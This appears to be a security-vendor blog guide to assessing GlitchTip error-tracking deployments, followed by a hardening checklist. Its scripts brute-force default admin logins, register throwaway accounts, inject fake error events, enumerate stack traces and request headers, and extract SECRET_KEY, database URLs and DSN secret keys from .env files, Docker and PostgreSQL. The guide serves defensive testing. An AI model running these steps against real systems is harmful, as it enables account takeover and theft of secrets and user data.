Error Tracking Security Testing

GlitchTip Security Testing: Default Credentials, API Key, Database, and .env SECRET_KEY

📅 July 3, 2026 ⏱ 11 min read 🏷 GlitchTip, Error Tracking Security, SECRET_KEY, DSN, Stack Trace Exposure, Source Code Leakage, Django Session, PostgreSQL

GlitchTip is a widely deployed open-source Sentry-compatible error tracking platform used to capture application exceptions — it stores complete stack traces, source code snippets, server environment variables, HTTP request headers, and user context for every application error. This makes GlitchTip a high-value target: access to error events can reveal application source code structure, internal API endpoints, database connection strings in environment variables, and user session data captured at error time. Key assessment areas: SECRET_KEY signs Django session cookies; DSN client keys enable unauthenticated event submission; the Sentry-compatible REST API exposes all error events; and PostgreSQL stores all error telemetry. This guide covers systematic GlitchTip security assessment.

Authentication, DSN, and API Key Testing
API Error Event and Stack Trace Enumeration
SECRET_KEY and Database Extraction
GlitchTip Security Hardening

Authentication, DSN, and API Key Testing

# GlitchTip — authentication, DSN, and API key testing
GLITCHTIP_URL="https://glitchtip.example.com"

# Admin login — test common credentials
for CRED in "admin@example.com:glitchtip" "admin@glitchtip.com:password" "admin@example.com:admin" "admin@example.com:password"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${GLITCHTIP_URL}/api/auth/login/" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  KEY=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
k=d.get('key','')
print('OK key='+k[:20] if k else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${KEY}"
done

# User registration — GlitchTip allows open registration by default
# ENABLE_OPEN_USER_REGISTRATION env var (default: True)
# An attacker can register, then attempt to access other orgs/projects
curl -s -X POST "${GLITCHTIP_URL}/api/auth/registration/" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password1":"Testing123!","password2":"Testing123!"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Registration: {str(d)[:100]}')
" 2>/dev/null

# DSN key format: https://{PUBLIC_KEY}@glitchtip.example.com/{PROJECT_ID}
# DSN found in: application source code, CI config, Docker env vars, .env files
# Test DSN for event submission (unauthenticated)
DSN_KEY="your-dsn-public-key"
PROJECT_ID="1"
curl -s -X POST "${GLITCHTIP_URL}/api/${PROJECT_ID}/store/" \
  -H "Content-Type: application/json" \
  -H "X-Sentry-Auth: Sentry sentry_version=7, sentry_key=${DSN_KEY}" \
  -d '{"event_id":"test1234","timestamp":"2026-07-03T00:00:00","platform":"python","level":"error","message":"Test event injection"}' 2>/dev/null

API Error Event and Stack Trace Enumeration

# GlitchTip Sentry-compatible API — error event enumeration
GLITCHTIP_URL="https://glitchtip.example.com"
AUTH_TOKEN="your-glitchtip-api-token"

# List all organizations
curl -s "${GLITCHTIP_URL}/api/0/organizations/" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Organizations: {len(d)}')
for o in d[:5]:
    print(f'  [{o.get(\"id\")}] slug={o.get(\"slug\")} name={o.get(\"name\")}')
" 2>/dev/null

# List all projects
ORG_SLUG="your-org"
curl -s "${GLITCHTIP_URL}/api/0/organizations/${ORG_SLUG}/projects/" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Projects: {len(d)}')
for p in d[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"slug\")} platform={p.get(\"platform\")}')
" 2>/dev/null

# List all issues (error groups) — paginate through ALL errors
PROJECT_SLUG="your-project"
curl -s "${GLITCHTIP_URL}/api/0/projects/${ORG_SLUG}/${PROJECT_SLUG}/issues/?limit=25" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d if isinstance(d,list) else d.get('results',[])
print(f'Issues: {len(issues)}')
for i in issues[:5]:
    print(f'  [{i.get(\"id\")}] {i.get(\"title\",\"\")[:60]} count={i.get(\"count\")} level={i.get(\"level\")}')
" 2>/dev/null

# Get specific issue event — full stack trace + source code + environment
ISSUE_ID="your-issue-id"
curl -s "${GLITCHTIP_URL}/api/0/issues/${ISSUE_ID}/events/latest/" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Exception with stack trace
for exc in d.get('exception',{}).get('values',[]):
    print(f'Exception: {exc.get(\"type\")}: {exc.get(\"value\",\"\")[:80]}')
    frames = exc.get('stacktrace',{}).get('frames',[])
    print(f'  Stack frames: {len(frames)}')
    for f in frames[-5:]:
        print(f'    {f.get(\"filename\")}:{f.get(\"lineno\")} in {f.get(\"function\")}')
        # context_line is the actual source code line at the error
        if f.get('context_line'):
            print(f'    CODE: {f.get(\"context_line\",\"\").strip()}')
# Server environment — may contain DATABASE_URL, SECRET_KEY, API keys
env = d.get('extra',{}) or {}
contexts = d.get('contexts',{})
print(f'Server env keys: {list(env.keys())[:10]}')
# Request data — HTTP headers including cookies, auth tokens
req = d.get('request',{})
if req:
    print(f'Request URL: {req.get(\"url\",\"\")}')
    headers = req.get('headers',[])
    for h in headers[:5]:
        print(f'  Header: {h}')
" 2>/dev/null

SECRET_KEY and Database Extraction

# GlitchTip SECRET_KEY and database credential extraction

# .env file — GlitchTip configuration
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|REDIS_URL|CELERY|EMAIL|SMTP|GLITCHTIP"
# SECRET_KEY — Django session signing key
# DATABASE_URL — PostgreSQL connection string

# Docker environment variables
docker inspect glitchtip-web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','DATABASE','REDIS','SMTP','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL — all error events and DSN keys
DB_URL="postgresql://postgres:PASSWORD@localhost/glitchtip"

# All projects and their DSN keys
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.name, p.slug,
       pk.public_key, pk.secret_key, pk.label,
       o.name as org_name
FROM projects_project p
JOIN projects_projectkey pk ON pk.project_id = p.id
JOIN organizations_organization o ON p.organization_id = o.id
ORDER BY p.created_at DESC;
EOF
-- public_key + secret_key = DSN components
-- Enable submitting events as that project

# All error events (raw JSON blob — contains stack traces, env vars, source code)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT i.id, i.title, i.level, i.times_seen,
       i.first_seen, i.last_seen,
       i.data->>'platform' as platform
FROM issues_event i
ORDER BY i.last_seen DESC
LIMIT 20;
EOF

# Users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, name, is_active, is_superuser,
       date_joined, last_login
FROM users_user
ORDER BY date_joined DESC
LIMIT 10;
EOF

GlitchTip Security Hardening

GlitchTip Security Hardening Checklist:

Protect SECRET_KEY and disable open user registration — SECRET_KEY is the Django signing key for session cookies and CSRF tokens; a compromised SECRET_KEY enables session forgery to access any user's account; set ENABLE_OPEN_USER_REGISTRATION=false to prevent unauthorized account creation; open registration (the default) allows anyone to register on your GlitchTip instance — while they cannot immediately see your projects, it expands the attack surface for privilege escalation bugs; implement account approval workflows for new registrations; use strong unique SECRET_KEY values generated with `python -c "import secrets; print(secrets.token_hex(64))"`
Classify error event data as potentially sensitive — GlitchTip stores complete application error context including: stack frames with source code snippets, local variable values at the error point (may include passwords/tokens passed as function arguments), HTTP request headers (may include Authorization/Cookie headers), server environment variables captured at error time (may include DATABASE_URL, API_KEY, SECRET values), and user context (may include PII); audit what data your applications are sending to GlitchTip; use data scrubbing/filtering in the Sentry SDK client-side configuration to redact sensitive values before they leave your application; implement GlitchTip's server-side data scrubbing features
Protect DSN keys and prevent event injection — Sentry/GlitchTip DSN keys (format: https://PUBLIC@host/PROJECT_ID) provide unauthenticated event submission without any credentials; exposed DSN keys allow attackers to flood GlitchTip with fake errors (causing alert fatigue), inject misleading stack traces (for social engineering), or trigger email/Slack alerts for non-existent issues; DSN keys embedded in frontend JavaScript bundles are inherently public — implement rate limiting and event validation at the GlitchTip ingestion layer; rotate DSN keys immediately if compromised
Implement network-level access controls for the admin interface — GlitchTip's admin interface at /admin (Django admin) provides superuser access to all data; restrict access to the Django admin to internal IPs only via reverse proxy; disable the Django admin entirely if not needed via GLITCHTIP_ENABLE_ADMIN_PANEL=false; implement IP allowlisting for the main GlitchTip UI for internal deployments; monitor for unusual API access patterns such as bulk event enumeration across all projects; implement audit logging of admin actions
Implement data retention and minimize stored error context — GlitchTip accumulates error telemetry indefinitely; implement event retention policies to automatically delete old events; configure the Sentry SDK to filter sensitive data client-side before sending (before_send hook); disable or minimize the "extra" context attached to error events by default (which often captures the full server environment); implement project-level data scrubbing rules to redact credit card numbers, passwords, tokens, and PII patterns from stored events

Security Test	Method	Risk
SECRET_KEY extraction and Django session forgery	Read .env SECRET_KEY — Django session signing key; forge valid session cookies to authenticate as any GlitchTip user including superusers	Critical
Stack trace source code leakage via error events	GET /api/0/issues/{id}/events/latest/ — full stack frames with context_line (actual source code); internal function names, file paths, and business logic exposed in production error traces	High
Server environment variable extraction from error context	Error event extra/contexts fields may contain DATABASE_URL, SECRET_KEY, API keys captured at error time by application frameworks (Django debug mode, default SDK configuration)	Critical
DSN key extraction and event injection	SELECT public_key, secret_key FROM projects_projectkey — all DSN components; enables unauthenticated event submission including injecting misleading errors and triggering alerts	High
Open registration privilege escalation testing	POST /api/auth/registration/ — register with any email; enumerate organization slugs; test for IDOR in project/org membership endpoints; test for privilege escalation from member to admin	Medium

Automate GlitchTip Security Testing

Ironimo tests GlitchTip deployments for SECRET_KEY extraction and Django session forgery, stack trace source code leakage in error events, server environment variable exfiltration from error context, DSN key extraction and event injection abuse, open registration privilege escalation, PostgreSQL error event data extraction with stack traces and environment data, admin credential brute force, project key enumeration, and Docker environment variable exposure.

Start free scan

Table of Contents

Authentication, DSN, and API Key Testing

API Error Event and Stack Trace Enumeration

SECRET_KEY and Database Extraction

GlitchTip Security Hardening

Automate GlitchTip Security Testing